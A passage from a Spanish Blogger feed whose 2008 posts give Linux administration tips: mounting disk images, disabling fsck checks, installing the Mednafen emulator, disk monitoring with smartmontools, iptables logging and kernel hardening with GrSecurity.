src='https://blogger.googleusercontent.com/tracker/30617063-8608331181353955738?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/8608331181353955738/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=8608331181353955738' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/8608331181353955738'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/8608331181353955738'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2008/12/limitar-ancho-de-banda-en-linux.html' title='Limitar ancho de banda en Linux'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_JhkD20t_wqQ/SUPHO0lPTrI/AAAAAAAAAH0/QIsMAmQyPCI/s72-c/Dibujo.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-9069286485722109575</id><published>2008-12-12T15:45:00.006+01:00</published><updated>2010-01-26T11:16:34.259+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Varios'/><category scheme='http://www.blogger.com/atom/ns#' term='Multimedia'/><title type='text'>Conversión y montado de imagenes de disco.</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_JhkD20t_wqQ/SUJ5t4LF5mI/AAAAAAAAAHs/BeMTNLo89Cw/s1600-h/opensourcelivinglogo.png"&gt;&lt;img id="BLOGGER_PHOTO_ID_5278915542311626338" style="margin: 0pt 0pt 10px 10px; float: right; width: 196px; cursor: pointer; height: 60px;" alt="" src="http://1.bp.blogspot.com/_JhkD20t_wqQ/SUJ5t4LF5mI/AAAAAAAAAHs/BeMTNLo89Cw/s200/opensourcelivinglogo.png" border="0" /&gt;&lt;/a&gt;Para las imagenes en formato NRG basta con:&lt;br /&gt;mount -t iso9660 -o loop,offset=307200 archivo.nrg  /mnt/loop&lt;br /&gt;&lt;br /&gt;Para los BIN habrá que currarselo un poco mas, primero realizamos la conversión a ISO y luego montamos la imagen resultante.&lt;br /&gt;&lt;br /&gt;Instalamos bchunk:&lt;br /&gt;apt-get install bchunk&lt;br /&gt;&lt;br /&gt;Procedemos con la conversión:&lt;br /&gt;bchunk archivo.bin archivo.cue archivo.iso&lt;br /&gt;&lt;br /&gt;Finalmente montamos la imagen en un directorio local:&lt;br /&gt;mount -t iso9660 -o loop archivo.iso /mnt/loop&lt;br /&gt;&lt;br /&gt;Ya veis lo fácil que es, adelante probadlo que funciona!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-9069286485722109575?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/9069286485722109575/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=9069286485722109575' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/9069286485722109575'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/9069286485722109575'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2008/12/bchunk-de-bin-iso-en-d-lo-k-canta-1.html' title='Conversión y montado de imagenes de disco.'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_JhkD20t_wqQ/SUJ5t4LF5mI/AAAAAAAAAHs/BeMTNLo89Cw/s72-c/opensourcelivinglogo.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-1094037480744509188</id><published>2008-12-12T15:38:00.005+01:00</published><updated>2009-12-29T08:18:13.127+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Administración'/><title type='text'>Chequeo particiones</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_JhkD20t_wqQ/SUJ41VyLI0I/AAAAAAAAAHk/1j6v1N3lK1k/s1600-h/59637359542449576c6066.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 81px; height: 81px;" src="http://1.bp.blogspot.com/_JhkD20t_wqQ/SUJ41VyLI0I/AAAAAAAAAHk/1j6v1N3lK1k/s200/59637359542449576c6066.jpg" alt="" id="BLOGGER_PHOTO_ID_5278914571007632194" border="0" /&gt;&lt;/a&gt;En el arranque Linux comprueba el número de veces que se ha montado el sistema de fichero, si se ha montado X veces sin ser chequeado procede a ello.&lt;br /&gt;Esta característica puede ser molesta si se tiene prisa y se precisa del equipo en ese mismo momento.&lt;br /&gt;Para deshabilitar esto hay que seguir unos sencillos pasos:&lt;br /&gt;tune2fs -c 0 -i 0 /dev/sda*&lt;br /&gt;&lt;br /&gt;Parámetros:&lt;br /&gt;-c --&gt; establece el numero de montajes antes de realizar el chequeo&lt;br /&gt;-i --&gt; el tiempo que transcurrirá entre chequeo y chequeo.&lt;br /&gt;Estableciéndolos a 0 los estamos deshabilitando.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-1094037480744509188?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/1094037480744509188/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=1094037480744509188' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/1094037480744509188'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/1094037480744509188'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2008/12/chequeo-particiones.html' title='Chequeo particiones'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_JhkD20t_wqQ/SUJ41VyLI0I/AAAAAAAAAHk/1j6v1N3lK1k/s72-c/59637359542449576c6066.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-6402628877834406609</id><published>2008-12-12T15:19:00.005+01:00</published><updated>2009-12-29T08:26:37.536+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Multimedia'/><title type='text'>Multi emulador: Mednafen</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_JhkD20t_wqQ/SUJ3DYP21MI/AAAAAAAAAHc/oRE6u4wzcb0/s1600-h/newlogo.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 232px; height: 67px;" src="http://4.bp.blogspot.com/_JhkD20t_wqQ/SUJ3DYP21MI/AAAAAAAAAHc/oRE6u4wzcb0/s200/newlogo.png" alt="" id="BLOGGER_PHOTO_ID_5278912613163914434" border="0" /&gt;&lt;/a&gt;&lt;a href="http://mednafen.sourceforge.net/"&gt;Mednafen&lt;/a&gt; es un emulador de todas estas consolas :Atari Lynx, GameBoy (Color), GameBoy Advance, NES, PC Engine(TurboGrafx 16), SuperGrafx, Neo Geo Pocket (Color), PC-FX, and WonderSwan (Color).&lt;br /&gt;&lt;div style="text-align: left;"&gt;Funciona muy bien y para pegarse un vicio de antiguos juegos pues viene muy bien.&lt;br /&gt;Instalamos el emulador:&lt;br /&gt;apt-get install mednafen&lt;br /&gt;&lt;br /&gt;Una vez instalado es tan sencillo como ejecutar:&lt;br /&gt;mednafen "ruta hasta la ROM"&lt;br /&gt;&lt;br /&gt;Para configurar el teclado o en mi caso el mando:&lt;br /&gt;Alt+Shift+1&lt;br /&gt;&lt;br /&gt;Para pasar a pantalla completa:&lt;br /&gt;Alt+Enter&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-6402628877834406609?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/6402628877834406609/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=6402628877834406609' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/6402628877834406609'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/6402628877834406609'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2008/12/multi-emulador-mednafen.html' title='Multi emulador: Mednafen'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_JhkD20t_wqQ/SUJ3DYP21MI/AAAAAAAAAHc/oRE6u4wzcb0/s72-c/newlogo.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-6979474130111939377</id><published>2008-12-12T15:04:00.004+01:00</published><updated>2009-12-29T08:18:38.448+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Administración'/><title type='text'>Monitorizando nuestro HD</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_JhkD20t_wqQ/SUJy09nvfiI/AAAAAAAAAHU/ygAcDBJ3fAI/s1600-h/hd1.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 96px; height: 115px;" src="http://3.bp.blogspot.com/_JhkD20t_wqQ/SUJy09nvfiI/AAAAAAAAAHU/ygAcDBJ3fAI/s200/hd1.jpg" alt="" id="BLOGGER_PHOTO_ID_5278907967451659810" border="0" /&gt;&lt;/a&gt;Hace poco tuve que enviar mi disco duro de vuelta al fabricante porque cuando llevaba varias horas funcionando empezaba a hacer ruidos extraños, como un pequeño tintineo agudo que penetraba en la cabeza.&lt;br /&gt;Desde que me lo repararon o cambiaron que lo vigilo por si acaso, de esta tarea se encarga &lt;a href="http://smartmontools.sourceforge.net/"&gt;SmartmonTools&lt;/a&gt;, además hago uso de otra utilidad para que sea más cómodo poder ver las alertas y no tener que estar mirando el log en syslog, esta herramienta de la que hablo se llama Smart-Notifier.&lt;br /&gt;&lt;br /&gt;Procedemos con la instalación del software necesario:&lt;br /&gt;apt-get install smartmontools smart-notifier&lt;br /&gt;&lt;br /&gt;Le indicamos a SmartmonTools que se active en el arranque del sistema:&lt;br /&gt;vi /etc/default/smartmontools&lt;br /&gt;start_smartd=yes&lt;br /&gt;&lt;br /&gt;Para ejecutar una prueba editamos el fichero /etc/smartd.conf y editamos la lñinea DEVICESCAN dejándola como se indica:&lt;br /&gt;vi /etc/smartd.conf&lt;br /&gt;DEVICESCAN -m root -M test -M exec /usr/share/smartmontools/smartd-runner&lt;br /&gt;&lt;br /&gt;Reiniciamos SmartmonTools:&lt;br /&gt;/etc/init.d/smartmontools restart&lt;br /&gt;&lt;br /&gt;Añadimos smart-notifier al arranque de sesión de Gnome y ya lo tenemos listo, ahora cuando se produzca algún fallo en nuestro disco duro aparecerá una ventanita informandonos acerca del error.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-6979474130111939377?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/6979474130111939377/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=6979474130111939377' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/6979474130111939377'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/6979474130111939377'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2008/12/monitorizando-nuestro-hd.html' title='Monitorizando nuestro HD'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_JhkD20t_wqQ/SUJy09nvfiI/AAAAAAAAAHU/ygAcDBJ3fAI/s72-c/hd1.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-3368657378174607192</id><published>2008-12-10T15:42:00.008+01:00</published><updated>2009-12-29T08:11:00.610+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad'/><title type='text'>Visualizar logs IpTables en tiempo real</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_JhkD20t_wqQ/ST_XICPgw-I/AAAAAAAAAHM/g1cjTIy7URI/s1600-h/hydra.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 200px; height: 41px;" src="http://2.bp.blogspot.com/_JhkD20t_wqQ/ST_XICPgw-I/AAAAAAAAAHM/g1cjTIy7URI/s200/hydra.jpg" alt="" id="BLOGGER_PHOTO_ID_5278173821342368738" border="0" /&gt;&lt;/a&gt;Para ver los logs basta con hacer tail -f /var/log/syslog, pero lo que queremos es ver solo los logs de IpTables, para ello emplearemos la opción --log-prefix para luego hacer grep sobre esta cadena.&lt;br /&gt;Justo en la última línea de INPUT, OUTPUT y FORWARD añadimos:&lt;br /&gt;iptables -A INPUT -j LOG --log-prefix "Alerta IPTABLES-INPUT"&lt;br /&gt;iptables -A OUTPUT -j LOG --log-prefix "Alerta IPTABLES-OUTPUT"&lt;br /&gt;iptables -A FORWARD -j LOG --log-prefix "Alerta IPTABLES-FORWARD"&lt;br /&gt;&lt;br /&gt;Si ahora hacemos:&lt;br /&gt;tail -f /var/log/syslog|grep "Alerta IPTABLES"&lt;br /&gt;Nos apareceran por pantalla solo las alertas generadas por IpTables.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-3368657378174607192?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/3368657378174607192/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=3368657378174607192' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/3368657378174607192'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/3368657378174607192'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2008/12/visualizar-logs-iptables-en-tiempo-real.html' title='Visualizar logs IpTables en tiempo real'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_JhkD20t_wqQ/ST_XICPgw-I/AAAAAAAAAHM/g1cjTIy7URI/s72-c/hydra.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-3544065824238644982</id><published>2008-12-08T22:31:00.017+01:00</published><updated>2009-12-29T08:11:03.751+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad'/><title type='text'>GrSecurity 2ºParte</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_JhkD20t_wqQ/SVDYdRJk_uI/AAAAAAAAAJs/G5NyrYoq_OE/s1600-h/7007241.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 127px; height: 134px;" src="http://4.bp.blogspot.com/_JhkD20t_wqQ/SVDYdRJk_uI/AAAAAAAAAJs/G5NyrYoq_OE/s200/7007241.jpg" alt="" id="BLOGGER_PHOTO_ID_5282960360236973794" border="0" /&gt;&lt;/a&gt;GrSecurity nos permite crear ACLs o como ellos lo llaman "roles", esto nos permite tener el sistema  funcionando con los servicios necesarios pero siempre con el menor número de privilegios posibles.&lt;br /&gt;Hay que tener en cuenta que con estas ACLs habilitadas incluso el todo poderoso root también verá sus acciones limitadas.&lt;br /&gt;&lt;br /&gt;Nos bajamos la utilidad gradm:&lt;br /&gt;wget http://http://www.grsecurity.net/gradm-2.1.11-200804142058.tar.gz&lt;br /&gt;&lt;br /&gt;Instalamos algunas dependencias:&lt;br /&gt;apt-get install flex bison libpam0g-dev chpax&lt;br /&gt;&lt;br /&gt;Descomprimimos gradm:&lt;br /&gt;tar xvzf gradm-2.1.11-200804142058.tar.gz&lt;br /&gt;cd gradm-2.1.11-200804142058.tar.gz&lt;br /&gt;&lt;br /&gt;Compilamos e instalamos el programa:&lt;br /&gt;make&lt;br /&gt;make install&lt;br /&gt;&lt;br /&gt;Asignamos un password de administrador:&lt;br /&gt;gradm -P admin&lt;br /&gt;&lt;br /&gt;Entramos como administrador:&lt;br /&gt;gradm -a&lt;br /&gt;&lt;br /&gt;Ahora viene lo realmente interesante del asunto, ponemos gradm a "aprender" para luego aplicar estas ACLs.&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;span class="code-input"&gt;gradm -F -L /etc/grsec/learning.log&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="code-input"&gt;Hacemos un uso normal del sistema durante algunos días, debemos evitar actualizaciones de software o programas que rasquen mucho de disco duro como un find y tareas administrativas.&lt;/span&gt;&lt;br /&gt;Cuando creamos que está listo(unos 2 o 3 días de aprendizaje son suelen ser suficientes) salimos, nos mostrará un error sobre el fichero learning.log, el directorio /etc/grsecurity ya no será visible ni tan siquiero para root.&lt;br /&gt;&lt;br /&gt;Aplicamos las ACLs generadas:&lt;br /&gt;gradm -a&lt;br /&gt;&lt;span class="code-input"&gt;gradm -F -L /etc/grsec/learning.log -O /etc/grsec/learning.roles&lt;/span&gt;&lt;br /&gt;&lt;span class="code-input"&gt;mv /etc/grsec/learning.roles /etc/grsec/policy&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;span class="code-input"&gt;chmod 0600 /etc/grsec/policy&lt;/span&gt;&lt;br /&gt;gradm -E&lt;br /&gt;&lt;span class="code-input"&gt;&lt;br /&gt;Para que funcionen las ACLs en cada arranque añadimos gradm -E en /etc/rc.local&lt;br /&gt;&lt;br /&gt;Si nos da algún tipo de problema y queremos deshabilitar las ACLs entramos como administrador y ejecutamos:&lt;/span&gt;&lt;code&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;gradm -D&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/code&gt;Para permitir pasar aplicaciones por encima de PAX:&lt;br /&gt;chpax –spmr "Ruta hasta el binario"&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-3544065824238644982?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/3544065824238644982/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=3544065824238644982' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/3544065824238644982'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/3544065824238644982'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2008/12/grsecurity-2parte.html' title='GrSecurity 2ºParte'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_JhkD20t_wqQ/SVDYdRJk_uI/AAAAAAAAAJs/G5NyrYoq_OE/s72-c/7007241.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-5270480879762368918</id><published>2008-12-08T15:00:00.014+01:00</published><updated>2009-12-29T08:11:06.830+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad'/><title type='text'>GrSecurity</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_JhkD20t_wqQ/ST1J9IYw94I/AAAAAAAAAHE/qJYmKky4tRg/s1600-h/Pantallazo.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 100px; height: 100px;" src="http://4.bp.blogspot.com/_JhkD20t_wqQ/ST1J9IYw94I/AAAAAAAAAHE/qJYmKky4tRg/s200/Pantallazo.png" alt="" id="BLOGGER_PHOTO_ID_5277455652920293250" border="0" /&gt;&lt;/a&gt;&lt;a href="http://www.grsecurity.net/"&gt;GrSecurity&lt;/a&gt; es un parche para el kernel de la rama 2.4 y 2.6, este parche nos permite añadir ciertas funcionalidades relacionadas con la seguridad.&lt;br /&gt;Algunas de las características más interesantes son limitar el acceso a dmesg, hacer que los usuarios solo puedan ver sus procesos, evitar ataques del tipo &lt;a href="http://en.wikipedia.org/wiki/Stack_overflow"&gt;Stack OverFlow&lt;/a&gt;, no permitir que ciertos grupos de usuarios ejecuten ficheros con el &lt;a href="http://es.wikipedia.org/wiki/Sticky_bit"&gt;Sticky bit&lt;/a&gt; activado o incluso no dejar que se puedan poner servidores a la escucha.&lt;br /&gt;Bueno sin mas preambulo empezamos.&lt;ol&gt;&lt;li&gt;Bajamos el último kernel soportado por GrSecurity, en el momento de escribir este tutorial se trataba del 2.6.24.5, así que cambiamos al directorio /usr/src y lo bajamos: wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.24.5.tar.bz2&lt;/li&gt;&lt;li&gt;Ahora bajamos el parche: wget http://www.grsecurity.net/grsecurity-2.1.11-2.6.24.5-200804211829.patch.gz&lt;/li&gt;&lt;li&gt;Desenpaquetamos y descomprimimos el kernel: bzip2 -dc linux-2.6.24.5.tar.bz2&lt;/li&gt;&lt;li&gt;Descomprimimos el parche: gzip grsecurity-.1.11-2.6.24.5-200804211829.patch.gz -d&lt;/li&gt;&lt;li&gt;Aplicamos el parche: patch –p0 &lt; ./grsecurity-.1.11-2.6.24.5-200804211829.patch&lt;/li&gt;&lt;li&gt;Tan solo nos queda crear el enlace simbólico linux --&gt; Nuestro kernel, configurarlo y compilar: ln -s linux-2.6.24.5 linux&lt;/li&gt;&lt;li&gt;Arrancamos el configurador del kernel: make menuconfig&lt;/li&gt;&lt;li&gt;Configuramos el kernel habilitando las opciones que nos parezcan oportunas, en el apartado de Security podremos encontrar las opciones relacionadas con GrSecurity.&lt;/li&gt;&lt;li&gt;Cuando lo tengamos salimos y guardamos los cambios, para compilar el kernel es tan sencillo como: make &amp;amp;&amp;amp; make modules_install&lt;/li&gt;&lt;li&gt;Copiamos el kernel a /boot y editamos grub para poder arrancar el kernel nuevo: cp arch/x86_64/boot/bzImage /boot/GrSecurity &amp;amp;&amp;amp; vi /boot/grub/menu.lst&lt;/li&gt;&lt;li&gt;Añadimos una entrada al Grub como esta:&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;title        GrSecurity&lt;br /&gt;root        (hd0,0)&lt;br /&gt;kernel        /boot/GrSecurity root=/dev/sda1&lt;br /&gt;savedefault&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Y ya lo tenemos, un kernel securizado y a prueba de balas, jajajaja.&lt;br /&gt;En la captura de pantalla se puede observar como sólo puede ver el usuario joomla sus procesos.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_JhkD20t_wqQ/ST1JBO32F7I/AAAAAAAAAG8/AnMgJR_CDzk/s1600-h/procesos.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 200px; height: 24px;" src="http://2.bp.blogspot.com/_JhkD20t_wqQ/ST1JBO32F7I/AAAAAAAAAG8/AnMgJR_CDzk/s200/procesos.jpg" alt="" id="BLOGGER_PHOTO_ID_5277454623869114290" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;NOTA:Si al hacer make menuconfig sale algún tipo de error seguramente sea debido a que no se tienen instaladas las librerias n-curses que se necesitan, para solucionarlo hay que instalar el siguiente paquete:&lt;br /&gt;apt-get install libncurses5-dev&lt;br /&gt;Además hay que tener en cuenta que si habilitamos Pax, la pila ya no será ejecutable con lo que algunos programas tendrán problemas y si restringimos los sockets y los puertos I/O puede que el servidor gráfico deje de funcionar, esto en un servidor no nos importará pero en una estación de trabajo sí que es un aspecto a tener en cuenta.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-5270480879762368918?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/5270480879762368918/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=5270480879762368918' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/5270480879762368918'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/5270480879762368918'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2008/12/grsecurity.html' title='GrSecurity'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_JhkD20t_wqQ/ST1J9IYw94I/AAAAAAAAAHE/qJYmKky4tRg/s72-c/Pantallazo.png' height='72' width='72'/><thr:total>0</thr:total></entry></feed>
